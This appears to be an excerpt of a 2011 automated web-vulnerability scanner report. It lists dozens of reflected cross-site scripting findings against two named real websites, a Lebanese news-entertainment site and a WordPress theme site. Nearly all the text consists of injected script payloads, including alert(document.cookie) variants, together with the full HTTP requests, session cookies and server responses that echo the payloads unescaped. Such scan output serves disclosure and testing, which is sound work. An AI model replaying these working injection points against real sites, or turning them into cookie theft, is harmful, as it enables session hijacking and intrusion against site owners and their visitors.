GET /wp-includesa1cf2"><script>alert(1)</script>5999fd77bde/js/jquery/ui.sortable.js?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ff882"><script>alert(1)</script>2c5de9ea418 was submitted in the REST URL parameter 2. This input was echoed as ff882\"><script>alert(1)</script>2c5de9ea418 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes/jsff882"><script>alert(1)</script>2c5de9ea418/jquery/ui.sortable.js?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1fd76"><script>alert(1)</script>5b57586f4c1 was submitted in the REST URL parameter 3. This input was echoed as 1fd76\"><script>alert(1)</script>5b57586f4c1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes/js/jquery1fd76"><script>alert(1)</script>5b57586f4c1/ui.sortable.js?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5f4ac"><script>alert(1)</script>193d9090e81 was submitted in the REST URL parameter 4. This input was echoed as 5f4ac\"><script>alert(1)</script>193d9090e81 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes/js/jquery/ui.sortable.js5f4ac"><script>alert(1)</script>193d9090e81?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 80693"><script>alert(1)</script>4b256f9809b was submitted in the REST URL parameter 1. This input was echoed as 80693\"><script>alert(1)</script>4b256f9809b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes80693"><script>alert(1)</script>4b256f9809b/js/swfobject.js?ver=2.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1994"><script>alert(1)</script>da72374b897 was submitted in the REST URL parameter 2. This input was echoed as a1994\"><script>alert(1)</script>da72374b897 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes/jsa1994"><script>alert(1)</script>da72374b897/swfobject.js?ver=2.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 96823"><script>alert(1)</script>d03062193c6 was submitted in the REST URL parameter 3. This input was echoed as 96823\"><script>alert(1)</script>d03062193c6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes/js/swfobject.js96823"><script>alert(1)</script>d03062193c6?ver=2.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
4.379. http://themehybrid.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://themehybrid.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d428a"><script>alert(1)</script>63682048419 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as d428a\"><script>alert(1)</script>63682048419 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?d428a"><script>alert(1)</script>63682048419=1 HTTP/1.1 Host: themehybrid.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=87023965.1295921862.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/53; PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d; __utma=87023965.1580775653.1295921862.1295921862.1295921862.1; __utmc=87023965; __utmb=87023965.2.10.1295921862;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:24:06 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache X-Pingback: http://themehybrid.com/blog/xmlrpc.php Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 11026
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <input type="hidden" name="redirect_to" value="/?d428a\"><script>alert(1)</script>63682048419=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b433f"><script>alert(1)</script>e14ba5f4f8a was submitted in the REST URL parameter 1. This input was echoed as b433f\"><script>alert(1)</script>e14ba5f4f8a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blogb433f"><script>alert(1)</script>e14ba5f4f8a/wp-content/plugins/cleaner-gallery/cleaner-gallery.css?ver=0.7 HTTP/1.1 Host: themehybrid.com Proxy-Connection: keep-alive Referer: http://themehybrid.com/themes/shadow724f1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef58e6876aa Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d
Response
HTTP/1.1 404 Not found Date: Tue, 25 Jan 2011 02:50:28 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 X-Pingback: http://themehybrid.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 25 Jan 2011 02:50:29 GMT Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 10444
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <input type="hidden" name="redirect_to" value="/blogb433f\"><script>alert(1)</script>e14ba5f4f8a/wp-content/plugins/cleaner-gallery/cleaner-gallery.css?ver=0.7"/> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e1d5a"><script>alert(1)</script>28e0a6329e5 was submitted in the REST URL parameter 2. This input was echoed as e1d5a\"><script>alert(1)</script>28e0a6329e5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/wp-contente1d5a"><script>alert(1)</script>28e0a6329e5/plugins/cleaner-gallery/cleaner-gallery.css?ver=0.7 HTTP/1.1 Host: themehybrid.com Proxy-Connection: keep-alive Referer: http://themehybrid.com/themes/shadow724f1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef58e6876aa Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d
Response
HTTP/1.1 404 Not found Date: Tue, 25 Jan 2011 02:51:04 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 X-Pingback: http://themehybrid.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 25 Jan 2011 02:51:05 GMT Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 10444
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <input type="hidden" name="redirect_to" value="/blog/wp-contente1d5a\"><script>alert(1)</script>28e0a6329e5/plugins/cleaner-gallery/cleaner-gallery.css?ver=0.7"/> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c913a"><script>alert(1)</script>d6100947d63 was submitted in the REST URL parameter 3. This input was echoed as c913a\"><script>alert(1)</script>d6100947d63 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/wp-content/pluginsc913a"><script>alert(1)</script>d6100947d63/cleaner-gallery/cleaner-gallery.css?ver=0.7 HTTP/1.1 Host: themehybrid.com Proxy-Connection: keep-alive Referer: http://themehybrid.com/themes/shadow724f1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef58e6876aa Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d
Response
HTTP/1.1 404 Not found Date: Tue, 25 Jan 2011 02:51:40 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 X-Pingback: http://themehybrid.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 25 Jan 2011 02:51:41 GMT Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 10444
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <input type="hidden" name="redirect_to" value="/blog/wp-content/pluginsc913a\"><script>alert(1)</script>d6100947d63/cleaner-gallery/cleaner-gallery.css?ver=0.7"/> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e5ec4"><script>alert(1)</script>624a982d9fe was submitted in the REST URL parameter 4. This input was echoed as e5ec4\"><script>alert(1)</script>624a982d9fe in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/wp-content/plugins/cleaner-gallerye5ec4"><script>alert(1)</script>624a982d9fe/cleaner-gallery.css?ver=0.7 HTTP/1.1 Host: themehybrid.com Proxy-Connection: keep-alive Referer: http://themehybrid.com/themes/shadow724f1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef58e6876aa Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d
Response
HTTP/1.1 404 Not found Date: Tue, 25 Jan 2011 02:52:17 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 X-Pingback: http://themehybrid.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 25 Jan 2011 02:52:18 GMT Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 10444
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <input type="hidden" name="redirect_to" value="/blog/wp-content/plugins/cleaner-gallerye5ec4\"><script>alert(1)</script>624a982d9fe/cleaner-gallery.css?ver=0.7"/> ...[SNIP]...
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1689c"><script>alert(1)</script>f7596597b83 was submitted in the REST URL parameter 5. This input was echoed as 1689c\"><script>alert(1)</script>f7596597b83 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/wp-content/plugins/cleaner-gallery/cleaner-gallery.css1689c"><script>alert(1)</script>f7596597b83?ver=0.7 HTTP/1.1 Host: themehybrid.com Proxy-Connection: keep-alive Referer: http://themehybrid.com/themes/shadow724f1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef58e6876aa Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d
Response
HTTP/1.1 404 Not found Date: Tue, 25 Jan 2011 02:52:58 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 X-Pingback: http://themehybrid.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 25 Jan 2011 02:53:00 GMT Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 10444
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <input type="hidden" name="redirect_to" value="/blog/wp-content/plugins/cleaner-gallery/cleaner-gallery.css1689c\"><script>alert(1)</script>f7596597b83?ver=0.7"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 44c92"><script>alert(1)</script>16b4b6cb96f was submitted in the REST URL parameter 1. This input was echoed as 44c92\"><script>alert(1)</script>16b4b6cb96f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog44c92"><script>alert(1)</script>16b4b6cb96f/wp-content/themes/fusion/library/js/fusion.jquery.js HTTP/1.1 Host: themehybrid.com Proxy-Connection: keep-alive Referer: http://themehybrid.com/themes/shadow724f1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef58e6876aa Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d; __utmz=87023965.1295921862.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/53; __utma=87023965.1580775653.1295921862.1295921862.1295921862.1; __utmc=87023965; __utmb=87023965.1.10.1295921862
Response
HTTP/1.1 404 Not found Date: Tue, 25 Jan 2011 02:51:26 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 X-Pingback: http://themehybrid.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 25 Jan 2011 02:51:26 GMT Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 10424
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <input type="hidden" name="redirect_to" value="/blog44c92\"><script>alert(1)</script>16b4b6cb96f/wp-content/themes/fusion/library/js/fusion.jquery.js"/> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1892d"><script>alert(1)</script>bfb5b3a776f was submitted in the REST URL parameter 2. This input was echoed as 1892d\"><script>alert(1)</script>bfb5b3a776f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/wp-content1892d"><script>alert(1)</script>bfb5b3a776f/themes/fusion/library/js/fusion.jquery.js HTTP/1.1 Host: themehybrid.com Proxy-Connection: keep-alive Referer: http://themehybrid.com/themes/shadow724f1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef58e6876aa Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d; __utmz=87023965.1295921862.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/53; __utma=87023965.1580775653.1295921862.1295921862.1295921862.1; __utmc=87023965; __utmb=87023965.1.10.1295921862
Response
HTTP/1.1 404 Not found Date: Tue, 25 Jan 2011 02:52:00 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 X-Pingback: http://themehybrid.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 25 Jan 2011 02:52:02 GMT Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 10424
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <input type="hidden" name="redirect_to" value="/blog/wp-content1892d\"><script>alert(1)</script>bfb5b3a776f/themes/fusion/library/js/fusion.jquery.js"/> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 70cb0"><script>alert(1)</script>21f3c2085ee was submitted in the REST URL parameter 3. This input was echoed as 70cb0\"><script>alert(1)</script>21f3c2085ee in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/wp-content/themes70cb0"><script>alert(1)</script>21f3c2085ee/fusion/library/js/fusion.jquery.js HTTP/1.1 Host: themehybrid.com Proxy-Connection: keep-alive Referer: http://themehybrid.com/themes/shadow724f1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef58e6876aa Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d; __utmz=87023965.1295921862.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/53; __utma=87023965.1580775653.1295921862.1295921862.1295921862.1; __utmc=87023965; __utmb=87023965.1.10.1295921862
Response
HTTP/1.1 404 Not found Date: Tue, 25 Jan 2011 02:52:41 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 X-Pingback: http://themehybrid.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 25 Jan 2011 02:52:43 GMT Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 10424
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <input type="hidden" name="redirect_to" value="/blog/wp-content/themes70cb0\"><script>alert(1)</script>21f3c2085ee/fusion/library/js/fusion.jquery.js"/> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc3d1"><script>alert(1)</script>cbb2a7067b2 was submitted in the REST URL parameter 4. This input was echoed as dc3d1\"><script>alert(1)</script>cbb2a7067b2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/wp-content/themes/fusiondc3d1"><script>alert(1)</script>cbb2a7067b2/library/js/fusion.jquery.js HTTP/1.1 Host: themehybrid.com Proxy-Connection: keep-alive Referer: http://themehybrid.com/themes/shadow724f1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef58e6876aa Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d; __utmz=87023965.1295921862.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/53; __utma=87023965.1580775653.1295921862.1295921862.1295921862.1; __utmc=87023965; __utmb=87023965.1.10.1295921862
Response
HTTP/1.1 404 Not found Date: Tue, 25 Jan 2011 02:53:19 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 X-Pingback: http://themehybrid.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 25 Jan 2011 02:53:21 GMT Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 10424
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <input type="hidden" name="redirect_to" value="/blog/wp-content/themes/fusiondc3d1\"><script>alert(1)</script>cbb2a7067b2/library/js/fusion.jquery.js"/> ...[SNIP]...
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a71bc"><script>alert(1)</script>e96dadf10f4 was submitted in the REST URL parameter 5. This input was echoed as a71bc\"><script>alert(1)</script>e96dadf10f4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
